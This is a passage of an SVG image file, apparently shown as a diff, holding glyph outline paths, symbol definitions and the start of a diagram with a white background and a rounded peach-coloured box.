5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 3.46875 -9.03125 L 2.609375 -11.265625 L 2.546875 -11.265625 L 2.765625 -9.03125 L 2.765625 0 L 1.296875 0 L 1.296875 -14.453125 L 2.21875 -14.453125 L 7.484375 -5.21875 L 8.3125 -3.09375 L 8.390625 -3.09375 L 8.171875 -5.21875 L 8.171875 -14.234375 L 9.640625 -14.234375 L 9.640625 0.21875 L 8.703125 0.21875 Z M 3.46875 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 4.4375 -4.5 L 4.796875 -2.3125 L 4.84375 -2.3125 L 5.25 -4.53125 L 7.890625 -14.234375 L 9.453125 -14.234375 L 5.140625 0.21875 L 4.328125 0.21875 L -0.046875 -14.234375 L 1.640625 -14.234375 Z M 4.4375 -4.5 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 3.65625 -4.203125 L 4.0625 -2.203125 L 4.109375 -2.203125 L 4.46875 -4.25 L 6.265625 -10.15625 L 7.8125 -10.15625 L 4.328125 0.21875 L 3.625 0.21875 L 0.078125 -10.15625 L 1.75 -10.15625 Z M 3.65625 -4.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface7180">
+<rect x="0" y="0" width="404" height="312" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M -5.2 6.4 L 14.8 6.4 L 14.8 21.8 L -5.2 21.8 Z M -5.2 6.4 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 1.3 13 C 1.134375 13 1 13.134375 1 13.3 L 1 14.7 C 1 14.865625 1.134375 15 1.3 15 L 9.7 15 C 9.865625 15 10 14.865625 10 14.7 L 10 13.3 C 10 13.134375 9.865625 13 9.7 13 Z M 1.3 13 " transform="matrix(20,0,0,20,106,-126)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="179.203125" y="162.00217"/>
